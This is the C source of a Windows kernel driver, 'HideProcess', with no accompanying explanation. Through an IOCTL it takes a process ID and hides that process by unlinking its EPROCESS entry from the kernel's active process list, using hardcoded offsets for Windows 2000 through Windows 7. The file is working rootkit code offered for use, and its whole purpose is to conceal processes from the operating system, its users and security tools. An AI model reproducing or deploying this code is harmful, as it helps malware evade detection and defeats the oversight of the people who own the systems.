#include <ntifs.h>

typedef unsigned long	   DWORD;
typedef unsigned char	   BYTE;
typedef unsigned short int WORD;


typedef struct _LDR_DATA_TABLE_ENTRY {
  LIST_ENTRY    InLoadOrderLinks;
  LIST_ENTRY    InMemoryOrderLinks;
  LIST_ENTRY    InInitializationOrderLinks;
  PVOID      DllBase;
  PVOID      EntryPoint;
  ULONG      SizeOfImage;
  UNICODE_STRING  FullDllName;
  UNICODE_STRING  BaseDllName;
  ULONG      Flags;
  WORD       LoadCount;
  WORD       TlsIndex;
 
  union{
	 LIST_ENTRY HashLinks;
	 struct{
		PVOID SectionPointer;
		ULONG CheckSum;
	 };
  };
 
  union{
	 ULONG TimeDataStamp;
	 PVOID LoadedImports;
  };
 
  //_ACTIVATION_CONTEXT * EntryPointActivationContext;
  PVOID PatchInformation;
  LIST_ENTRY ForwarderLinks;
  LIST_ENTRY ServiceTagLinks;
  LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;


#define DriverName L"\\Device\\HideProcess"
#define DosDeviceName L"\\DosDevices\\HideProcess"


NTSTATUS HideProcessByDKOM(IN DWORD dwTargetPID);


NTSTATUS CreateDriver(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
	return STATUS_SUCCESS;
}

NTSTATUS CloseDriver(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
	return STATUS_SUCCESS;
}

void UnloadDriver(PDRIVER_OBJECT pDriverObject)
{
	UNICODE_STRING uDosDeviceName;

	RtlInitUnicodeString(&uDosDeviceName, DosDeviceName);

	IoDeleteSymbolicLink(&uDosDeviceName);
	IoDeleteDevice(pDriverObject->DeviceObject);
}

NTSTATUS Unsupported(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
	return STATUS_NOT_SUPPORTED;
}

NTSTATUS IOCTLDispatch(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
	PIO_STACK_LOCATION pIoStack = NULL;
	PVOID pInBuffer = NULL;
	NTSTATUS NtStatus = STATUS_SUCCESS;

	pIoStack = IoGetCurrentIrpStackLocation(pIrp);

	switch (pIoStack->Parameters.DeviceIoControl.IoControlCode)
	{


	case 0x8000000: //Your Control Code
		pInBuffer = pIrp->AssociatedIrp.SystemBuffer;
		if(pInBuffer)
			NtStatus = HideProcessByDKOM(*(DWORD*)pInBuffer);
		goto END;

	default:
		goto END;
	}

END:
	pIrp->IoStatus.Status = STATUS_SUCCESS;
	pIrp->IoStatus.Information = 0;

	IoCompleteRequest(pIrp, IO_NO_INCREMENT);

	return NtStatus;
}

NTSTATUS HideProcessByDKOM(IN DWORD dwTargetPID)
{
	PLIST_ENTRY pPrevList, pCurrentList, pNextList;
	ULONG MajorVersion, MinorVersion, offset = 0x00;
	PEPROCESS pEprocess;
	NTSTATUS NtStatus = STATUS_SUCCESS;

	if(dwTargetPID == 0)
		return STATUS_SUCCESS;

	NtStatus = PsLookupProcessByProcessId((HANDLE)dwTargetPID, &pEprocess);
	if(!NT_SUCCESS(NtStatus))
	{
		return NtStatus;
	}

	//DebugPrint("EPROCESS:0x%08X\n",pEprocess);

	PsGetVersion(&MajorVersion, &MinorVersion, NULL, NULL);
	if(MajorVersion == 5 && MinorVersion == 0) //Windows 2000
		offset = 0xA0;
	else if(MajorVersion == 5 && MinorVersion == 1) //Windows XP
		offset = 0x88;
	else if(MajorVersion == 6 && MinorVersion == 0) //Windows Vista
		offset = 0xA0;
	else if(MajorVersion == 6 && MinorVersion == 1) //Windows 7
		offset = 0xB8;
	else {
		ObDereferenceObject(pEprocess);
		return STATUS_UNSUCCESSFUL;
	}

	if(offset == 0)
		return STATUS_UNSUCCESSFUL;


	//Hiding
	pCurrentList = (PLIST_ENTRY)((PUCHAR)pEprocess + offset);
	pPrevList    = (PLIST_ENTRY)pCurrentList->Blink;
	pNextList    = (PLIST_ENTRY)pCurrentList->Flink;

	pPrevList->Flink = (PLIST_ENTRY)pNextList;
	pNextList->Blink = (PLIST_ENTRY)pPrevList;

	pCurrentList->Flink = (PLIST_ENTRY)pCurrentList;
	pCurrentList->Blink = (PLIST_ENTRY)pCurrentList;


	ObDereferenceObject(pEprocess);

	return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)
{
	UNICODE_STRING uDriverName, uDosDeviceName;
	PDEVICE_OBJECT pDeviceObject;
	int			   iIndex = 0;
	NTSTATUS NtStatus = STATUS_SUCCESS;

	RtlInitUnicodeString(&uDriverName, DriverName);
	RtlInitUnicodeString(&uDosDeviceName, DosDeviceName);

	NtStatus = IoCreateDevice(pDriverObject, 0, &uDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE,  &pDeviceObject);
	if(!NT_SUCCESS(NtStatus)){
		if(NtStatus != STATUS_WAIT_1){
			return NtStatus;
		}
	}

	for(iIndex = 0; iIndex < IRP_MJ_MAXIMUM_FUNCTION; iIndex++)
		pDriverObject->MajorFunction[iIndex] = Unsupported;

	pDriverObject->MajorFunction[IRP_MJ_CREATE] = CreateDriver;
	pDriverObject->MajorFunction[IRP_MJ_CLOSE]  = CloseDriver;
	pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IOCTLDispatch;
	pDriverObject->DriverUnload = UnloadDriver;

	pDeviceObject->Flags |= DO_DIRECT_IO;
	pDeviceObject->Flags &= (~DO_DEVICE_INITIALIZING);

	return STATUS_SUCCESS;
}